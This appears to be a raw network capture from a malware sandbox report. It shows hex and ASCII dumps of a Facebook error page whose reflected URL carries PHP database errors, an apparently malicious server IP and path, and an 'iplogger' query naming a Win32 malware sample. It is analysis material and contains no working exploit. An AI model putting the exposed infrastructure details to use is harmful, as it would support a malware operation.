"__set":[]},"noCookies":false,"shouldShowCookieBanner":false},4328],["TrustedTypesConfig",[],{"useTrustedTypes":false,"reportOnly":false},4548],["WebConnectionClassServerGuess",[],{"connectionClass":"EXCELLENT"},4705],["CometAltpayJsSdkIframeAllowedDomain
2022-09-09 16:00:12 UTC	17	IN	Data Raw: 61 74 74 65 72 6e 49 6e 66 6f 22 3a 7b 22 70 72 69 6d 61 72 79 47 72 6f 75 70 53 69 7a 65 22 3a 33 2c 22 73 65 63 6f 6e 64 61 72 79 47 72 6f 75 70 53 69 7a 65 22 3a 33 7d 2c 22 6e 75 6d 62 65 72 69 6e 67 53 79 73 74 65 6d 44 61 74 61 22 3a 6e 75 6c 6c 7d 2c 35 34 5d 2c 5b 22 53 65 73 73 69 6f 6e 4e 61 6d 65 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 73 65 65 64 22 3a 22 32 4f 32 4f 22 7d 2c 37 35 37 5d 2c 5b 22 5a 65 72 6f 43 61 74 65 67 6f 72 79 48 65 61 64 65 72 22 2c 5b 5d 2c 7b 7d 2c 31 31 32 37 5d 2c 5b 22 5a 65 72 6f 52 65 77 72 69 74 65 52 75 6c 65 73 22 2c 5b 5d 2c 7b 22 72 65 77 72 69 74 65 5f 72 75 6c 65 73 22 3a 7b 7d 2c 22 77 68 69 74 65 6c 69 73 74 22 3a 7b 22 5c 2f 68 72 5c 2f 72 22 3a 31 2c 22 5c 2f 68 72 5c 2f 70 22 3a 31 2c 22 5c 2f 7a 65 72 Data Ascii: atternInfo":{"primaryGroupSize":3,"secondaryGroupSize":3},"numberingSystemData":null},54],["SessionNameConfig",[],{"seed":"2O2O"},757],["ZeroCategoryHeader",[],{},1127],["ZeroRewriteRules",[],{"rewrite_rules":{},"whitelist":{"\/hr\/r":1,"\/hr\/p":1,"\/zer
2022-09-09 16:00:12 UTC	18	IN	Data Raw: 64 36 32 34 0d 0a 69 74 64 73 69 74 65 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 62 61 6c 61 6e 63 65 5c 2f 70 69 78 65 6c 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 62 61 6c 61 6e 63 65 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 62 61 6c 61 6e 63 65 5c 2f 63 61 72 72 69 65 72 5f 6c 61 6e 64 69 6e 67 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 66 6c 65 78 5c 2f 6c 6f 67 67 69 6e 67 5c 2f 22 3a 31 2c 22 5c 2f 74 72 22 3a 31 2c 22 5c 2f 74 72 5c 2f 22 3a 31 2c 22 5c 2f 73 65 6d 5f 63 61 6d 70 61 69 67 6e 73 5c 2f 73 65 6d 5f 70 69 78 65 6c 5f 74 65 73 74 5c 2f 22 3a 31 2c 22 5c 2f 62 6f 6f 6b 6d 61 72 6b 73 5c 2f 66 6c 79 6f 75 74 5c 2f 62 6f 64 79 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 73 75 62 6e 6f 5c 2f 22 3a 31 2c 22 5c 2f 63 6f 6e 66 69 72 6d Data Ascii: d624itdsite":1,"\/zero\/balance\/pixel\/":1,"\/zero\/balance\/":1,"\/zero\/balance\/carrier_landing\/":1,"\/zero\/flex\/logging\/":1,"\/tr":1,"\/tr\/":1,"\/sem_campaigns\/sem_pixel_test\/":1,"\/bookmarks\/flyout\/body\/":1,"\/zero\/subno\/":1,"\/confirm
2022-09-09 16:00:12 UTC	20	IN	Data Raw: 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 73 6d 73 5c 2f 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 61 5c 2f 63 68 61 6e 6e 65 6c 5c 2f 72 65 63 6f 6e 6e 65 63 74 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 61 5c 2f 6e 75 78 5c 2f 77 69 7a 61 72 64 5c 2f 6e 61 76 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 61 70 70 72 65 67 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 62 69 72 74 68 64 61 79 5f 68 65 6c 70 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 63 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 63 6f 6e 66 69 72 6d 65 6d 61 69 6c 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 63 72 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 6c 6f 67 69 6e 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 72 2e 70 68 70 22 3a 31 2c 22 5c 2f 7a 65 Data Ascii: \/":1,"\/upsell\/sms\/":1,"\/wap\/a\/channel\/reconnect.php":1,"\/wap\/a\/nux\/wizard\/nav.php":1,"\/wap\/appreg.php":1,"\/wap\/birthday_help.php":1,"\/wap\/c.php":1,"\/wap\/confirmemail.php":1,"\/wap\/cr.php":1,"\/wap\/login.php":1,"\/wap\/r.php":1,"\/ze
2022-09-09 16:00:12 UTC	21	IN	Data Raw: 30 34 30 35 35 38 22 2c 22 65 6e 61 62 6c 65 5f 62 6c 61 64 65 72 75 6e 6e 65 72 22 3a 66 61 6c 73 65 2c 22 65 6e 61 62 6c 65 5f 61 63 6b 22 3a 74 72 75 65 2c 22 70 75 73 68 5f 70 68 61 73 65 22 3a 22 43 33 22 2c 22 65 6e 61 62 6c 65 5f 6f 62 73 65 72 76 65 72 22 3a 66 61 6c 73 65 2c 22 65 6e 61 62 6c 65 5f 64 61 74 61 6c 6f 73 73 5f 74 69 6d 65 72 22 3a 66 61 6c 73 65 2c 22 65 6e 61 62 6c 65 5f 66 61 6c 6c 62 61 63 6b 5f 66 6f 72 5f 62 72 22 3a 74 72 75 65 2c 22 66 69 78 5f 62 72 5f 69 6e 69 74 5f 72 63 22 3a 66 61 6c 73 65 2c 22 71 75 65 75 65 5f 61 63 74 69 76 61 74 69 6f 6e 5f 65 78 70 65 72 69 6d 65 6e 74 22 3a 66 61 6c 73 65 7d 2c 35 32 33 37 5d 2c 5b 22 63 72 3a 36 39 36 37 30 33 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 22 41 61 31 Data Ascii: 040558","enable_bladerunner":false,"enable_ack":true,"push_phase":"C3","enable_observer":false,"enable_dataloss_timer":false,"enable_fallback_for_br":true,"fix_br_init_rc":false,"queue_activation_experiment":false},5237],["cr:696703",[],{"__rc":[null,"Aa1
2022-09-09 16:00:12 UTC	23	IN	Data Raw: 4c 78 74 78 32 50 52 78 61 72 36 59 67 77 35 64 49 58 69 4a 35 61 5f 75 31 53 57 70 37 39 38 35 35 49 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 38 33 35 37 39 22 2c 5b 22 49 6e 6c 69 6e 65 46 62 74 52 65 73 75 6c 74 49 6d 70 6c 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 49 6e 6c 69 6e 65 46 62 74 52 65 73 75 6c 74 49 6d 70 6c 22 2c 22 41 61 31 4d 44 6f 59 78 76 58 66 56 65 34 56 77 5a 35 38 54 6b 78 4c 44 51 46 46 44 38 6e 5a 4f 52 77 70 46 76 53 4b 73 33 59 49 37 68 52 33 70 62 59 43 72 76 4d 6e 4b 49 4c 78 74 78 32 50 52 78 61 72 36 59 67 77 35 64 49 58 69 4a 35 61 5f 75 31 53 57 70 37 39 38 35 35 49 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 39 32 35 31 30 30 22 2c 5b 22 52 75 6e 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 52 75 6e 42 6c 75 65 22 2c Data Ascii: Lxtx2PRxar6Ygw5dIXiJ5a_u1SWp79855I"]},-1],["cr:1183579",["InlineFbtResultImpl"],{"__rc":["InlineFbtResultImpl","Aa1MDoYxvXfVe4VwZ58TkxLDQFFD8nZORwpFvSKs3YI7hR3pbYCrvMnKILxtx2PRxar6Ygw5dIXiJ5a_u1SWp79855I"]},-1],["cr:925100",["RunBlue"],{"__rc":["RunBlue",
2022-09-09 16:00:12 UTC	24	IN	Data Raw: 74 61 22 2c 5b 5d 2c 7b 22 62 72 6f 77 73 65 72 5f 69 64 22 3a 22 3f 22 2c 22 74 61 62 5f 69 64 22 3a 22 22 2c 22 70 61 67 65 5f 69 64 22 3a 22 50 72 68 79 39 73 63 36 76 33 65 6b 73 22 2c 22 74 72 61 6e 73 69 74 69 6f 6e 5f 69 64 22 3a 30 2c 22 76 65 72 73 69 6f 6e 22 3a 36 7d 2c 35 38 38 38 5d 2c 5b 22 63 72 3a 36 38 36 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 22 41 61 30 72 63 32 43 49 75 4d 6c 2d 37 64 4d 37 62 6e 51 58 4a 4f 39 79 70 35 7a 57 70 7a 4c 77 39 4f 39 70 67 67 62 70 47 52 6f 79 50 4f 6a 46 7a 43 5f 61 38 30 76 36 43 52 34 32 6a 68 54 36 37 73 45 79 37 56 52 68 34 43 67 50 5f 49 49 2d 71 64 61 67 78 4f 59 4a 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 39 38 34 30 38 31 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c Data Ascii: ta",[],{"browser_id":"?","tab_id":"","page_id":"Prhy9sc6v3eks","transition_id":0,"version":6},5888],["cr:686",[],{"__rc":[null,"Aa0rc2CIuMl-7dM7bnQXJO9yp5zWpzLw9O9pggbpGRoyPOjFzC_a80v6CR42jhT67sEy7VRh4CgP_II-qdagxOYJ"]},-1],["cr:1984081",[],{"__rc":[null,
2022-09-09 16:00:12 UTC	26	IN	Data Raw: 61 63 65 62 6f 6f 6b 3c 2f 75 3e 3c 2f 69 3e 3c 2f 61 3e 3c 2f 68 31 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 79 6c 34 20 72 66 6c 6f 61 74 20 5f 6f 68 66 22 20 64 61 74 61 2d 74 65 73 74 69 64 3d 22 72 6f 79 61 6c 5f 6c 6f 67 69 6e 5f 66 6f 72 6d 22 3e 3c 61 20 68 72 65 66 3d 22 2f 22 20 69 64 3d 22 75 5f 30 5f 30 5f 67 39 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 77 68 69 74 65 22 3e 4a 6f 69 6e 20 6f 72 20 4c 6f 67 20 49 6e 74 6f 20 46 61 63 65 62 6f 6f 6b 20 e2 80 89 20 3c 69 20 63 6c 61 73 73 3d 22 5f 33 6a 69 69 20 69 6d 67 20 73 70 5f 41 77 67 71 7a 37 4b 34 6c 48 71 20 73 78 5f 62 62 63 38 36 32 22 20 69 64 3d 22 75 5f 30 5f 31 5f 53 4d 22 3e 3c 2f 69 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 64 69 76 20 63 Data Ascii: acebook</u></i></a></h1></div><div class="_yl4 rfloat _ohf" data-testid="royal_login_form"><a href="/" id="u_0_0_g9"><span style="color: white">Join or Log Into Facebook <i class="_3jii img sp_Awgqz7K4lHq sx_bbc862" id="u_0_1_SM"></i></span></a><div c
2022-09-09 16:00:12 UTC	27	IN	Data Raw: 74 65 3d 22 6f 66 66 22 20 6e 61 6d 65 3d 22 6c 67 6e 64 69 6d 22 20 76 61 6c 75 65 3d 22 22 20 69 64 3d 22 75 5f 30 5f 34 5f 7a 38 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6c 67 6e 72 6e 64 22 20 76 61 6c 75 65 3d 22 30 39 30 30 31 32 5f 48 6e 57 48 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 6c 67 6e 6a 73 22 20 6e 61 6d 65 3d 22 6c 67 6e 6a 73 22 20 76 61 6c 75 65 3d 22 6e 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 6e 61 6d 65 3d 22 61 62 5f 74 65 73 74 5f 64 61 74 61 22 20 76 61 6c 75 65 3d 22 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 Data Ascii: te="off" name="lgndim" value="" id="u_0_4_z8" /><input type="hidden" name="lgnrnd" value="090012_HnWH" /><input type="hidden" id="lgnjs" name="lgnjs" value="n" /><input type="hidden" autocomplete="off" name="ab_test_data" value="" /><input type="hidden" a
2022-09-09 16:00:12 UTC	29	IN	Data Raw: 65 3c 2f 68 32 3e 3c 68 33 20 63 6c 61 73 73 3d 22 5f 34 2d 64 71 22 3e 54 68 65 20 6c 69 6e 6b 20 79 6f 75 20 66 6f 6c 6c 6f 77 65 64 20 6d 61 79 20 62 65 20 62 72 6f 6b 65 6e 2c 20 6f 72 20 74 68 65 20 70 61 67 65 20 6d 61 79 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2e 3c 2f 68 33 3e 3c 69 20 63 6c 61 73 73 3d 22 6d 76 6c 20 69 6d 67 20 73 70 5f 41 77 67 71 7a 37 4b 34 6c 48 71 20 73 78 5f 61 33 37 64 39 30 22 3e 3c 2f 69 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 62 6c 20 70 76 6c 20 5f 34 2d 64 72 20 66 73 6d 20 66 77 6e 20 66 63 67 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 3e 3c 61 20 68 72 65 66 3d 22 23 22 20 6f 6e 63 6c 69 63 6b 3d 22 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 29 3b 22 20 64 61 74 61 2d 67 74 3d 22 26 23 31 Data Ascii: e</h2><h3 class="_4-dq">The link you followed may be broken, or the page may have been removed.</h3><i class="mvl img sp_Awgqz7K4lHq sx_a37d90"></i><div class="mbl pvl _4-dr fsm fwn fcg" role="navigation"><a href="#" onclick="history.back();" data-gt="&#1
2022-09-09 16:00:12 UTC	30	IN	Data Raw: 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 Data Ascii: line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/s
2022-09-09 16:00:12 UTC	32	IN	Data Raw: 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 Data Ascii: 0PDO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00
2022-09-09 16:00:12 UTC	33	IN	Data Raw: 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 53 65 63 75 72 69 74 65 49 6e 66 6f 2e 63 6f 6d 2e 57 69 6e 33 32 2e 4d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c Data Ascii: plogger\u002520from\u002520t_channels\u002520where\u002520name='SecuriteInfo.com.Win32.Malware-gen.30674'\u002520limit\u0025200,1\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Csmall\u00253E\u00250A\u00253Cfont\u002520color=\u002522\
2022-09-09 16:00:12 UTC	34	IN	Data Raw: 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 53 65 63 75 Data Ascii: Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='Secu
2022-09-09 16:00:12 UTC	36	IN	Data Raw: 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 Data Ascii: ty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520my
2022-09-09 16:00:12 UTC	37	IN	Data Raw: 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 74 2d 69 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 Data Ascii: li><a class="_sv4" dir="ltr" href="https://it-it.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead
2022-09-09 16:00:12 UTC	39	IN	Data Raw: 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 69 74 2d 69 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 44 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5c 75 30 30 32 35 32 30 65 78 74 65 6e 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 Data Ascii: quot;https:\/\/it-it.facebook.com\/\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EDeprecated\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520The\u002520mysql\u002520extension\u002520is\u002520deprecated\u002520and\u002520will\u002520be\u
2022-09-09 16:00:12 UTC	40	IN	Data Raw: 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 30 30 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 31 30 34 35 5c 75 30 30 32 35 32 30 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 Data Ascii: A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523000000\u002522\u00253E\u00250A\u00253Cb\u00253E1045\u002520-\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(us
2022-09-09 16:00:12 UTC	42	IN	Data Raw: 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 32 30 72 65 73 6f 75 72 63 65 2c 25 32 30 62 6f 6f 6c 65 61 6e 25 32 30 67 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 Data Ascii: 103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot
2022-09-09 16:00:12 UTC	43	IN	Data Raw: 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 Data Ascii: 253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520pas
